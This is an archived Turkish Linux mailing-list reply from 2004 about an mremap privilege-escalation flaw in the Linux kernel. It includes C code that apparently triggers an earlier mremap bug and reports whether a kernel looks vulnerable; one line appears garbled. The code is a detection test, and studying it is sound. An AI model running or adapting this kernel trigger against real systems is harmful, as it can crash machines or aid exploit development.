[linux-sohbet] Re: Linux Qekirde=F0inde=20zay=FDfl=FDk?=

---------

From: Halil Agin (e116432@ceng.metu.edu.tr)
Date: Sun 14 Mar 2004 - 15:09:01 EST

  • Next message: Ismet Sonmez: "[linux-sohbet] ADSL hizmet 4440375 'den anstanteneler..."

    evet yine pagin islemi ile ilgili bi acik. mremap fonksiyonu sebep oluyomus,,, bu aciktan bi onceki acikta da yine ayni subframework(memory and paging) ile ilgili idi,,,

    bi onceki acigi test eden bi c kodu bulmusutum nette(bu acikla alakali diil),,, attachment'da atiyom,,,

    Halil Agin

    =================== <cut> ==========================

    * 40156000-40159000 rw-p 00000000 00:00 0
     * 60000000-60002000 rw-p 00000000 00:00 0
     * 70000000-70000000 rw-p 00000000 00:00 0
     * bfffd000-c0000000 rwxp ffffe000 00:00 0
     *
     * Report :
     * This kernel appears to be VULNERABLE
     *
     * Segmentation fault
     * buffer@mintaka:~$
     */

    #define _GNU_SOURCE

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/types.h>
    #include <sys/mman.h>
    #include <sys/stat.h>
    #include <asm/unistd.h>
    #include <errno.h>

    #define MREMAP_FIXED 2

    #define PAGESIZE 4096
    #define VMASIZE (2*PAGESIZE)
    #define BUFSIZE 8192

    #define __NR_real_mremap __NR_mremap

    static inline _syscall5( void *, real_mremap, void *, old_address,
                             size_t, old_size, size_t, new_size,
                             unsigned long, flags, void *, new_address );

    #define MAPS_NO_CHECK 0
    #define MAPS_CHECK 1

    int mremap_check = 0;

    void maps_check(char *buf)
    {
            if (strstr(buf, "70000000"))
                mremap_check ;
    }

    void read_maps(int fd, char *path, unsigned long flag)
    {
            ssize_t nbytes;
            char buf[BUFSIZE];

            if (lseek(fd, 0, SEEK_SET) < 0) {
                    fprintf(stderr, "Unable to lseek %s\n", path);
                    return;
            }

            while ( (nbytes = read(fd, buf, BUFSIZE)) > 0) {

                    if (flag & MAPS_CHECK)
                            maps_check(buf);

                    if (write(STDOUT_FILENO, buf, nbytes) != nbytes) {
                            fprintf(stderr, "Unable to read %s\n", path);
                            exit (1);
                    }
            }
    }

    int main(int argc, char **argv)
    {
            void *base;
            char path[16];
            pid_t pid;
            int fd;

            pid = getpid();
            sprintf(path, "/proc/%d/maps", pid);

            if ( !(fd = open(path, O_RDONLY))) {
                    fprintf(stderr, "Unable to open %s\n", path);
                    return 1;
            }

            base = mmap((void *)0x60000000, VMASIZE, PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

            printf("\nBase address : 0x%x\n\n", base);
            read_maps(fd, path, MAPS_NO_CHECK);

            printf("\nRemapping at 0x70000000...\n\n");
            base = real_mremap(base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
                               (void *)0x70000000);

            read_maps(fd, path, MAPS_CHECK);

            printf("\nReport : \n");
            (mremap_check)
                    ? printf("This kernel appears to be VULNERABLE\n\n")
                    : printf("This kernel appears to be NOT VULNERABLE\n\n");

            close(fd);
            return 0;
    }

    ========================= </cut> ========================

    On 09 Mar 2004 19:41 EET you wrote:

    > http://www.netkonomi.com/content/view/620//
    > Güvenlik uzmanları Linux çekirdeğinde hafıza yönetimi modülünde ciddi olarak açıklanan bir zayıflık buldular.
    >
    > Zayıflık uzaktan çalıştırılamıyor fakat lokal bilgisayara girebilen bir saldırgan haklarını yükselterek Linux makinede Root yani yönetici haklarına sahip olabiliyor.
    >
    > Bulunan açık mremap(2) dneilen alt sistem sürecinde bulunuyor, birkaç hafta evvel bulunan Linux çekirdeğindeki açık ile benzer özellikte fakat bağlantılı olmadığı açıklandı.
    >
    > Zayıflığı keşfeden beyaz şapkalı Polonyalı Hacker İSec henüz bu açıktan yararlanıldığı görülmedi zayıflıktan yararlanabilmek için herhangi bir patlayıcı program da bulunmadığını açıkladı.
    >
    > Zayıflığın Linux çekirdeği 2.2 , 2.4 ve 2.6 serisinin son sürümlerine kadar etkilediği açıklandı.
    >
    >
    >
    > -------------------------------------------------------------------
    > http://www.netkonomi.com teknoloji ve guvenlik haber
    > http://www.maritimeclub.com deniz ve denizcilik
    > http://www.aramamotorubilgi.com arama motoru ,nasıl kayıt yapılır nasıl üst sıralarda çıkılır?
    > http://www.cturkey.com turkey
    > http://www.aboutistanbul.com istanbul
    > http://www.turkcesohbet.com turkce sohbet
    > http://www.phpbul.com php scripts
    > http://www.hostingcontrolpanels.com control panels
    > http://www.map-site.com city maps
    > http://www.hosting34.com linux hosting
    > -------------------------------------------------------------------------
    >
    >
    > linux-sohbet listesinden cikmak ve tum listeci islemleri icin
    > http://liste.linux.org.tr/ adresini kullanabilirisniz.
    > Bu listeden cikmak icin <a href="mailto:linux-sohbet-request@liste.linux.org.tr?Subject=unsubscribe">tiklayiniz</a>
    >
    >

     
    linux-sohbet listesinden cikmak ve tum listeci islemleri icin
    http://liste.linux.org.tr/ adresini kullanabilirisniz.
    Bu listeden cikmak icin <a href="mailto:linux-sohbet-request@liste.linux.org.tr?Subject=unsubscribe">tiklayiniz</a>


  • Next message: Ismet Sonmez: "[linux-sohbet] ADSL hizmet 4440375 'den anstanteneler..."

    ---------

    Bu arsiv hypermail 2.1.6 tarafindan uretilmistir.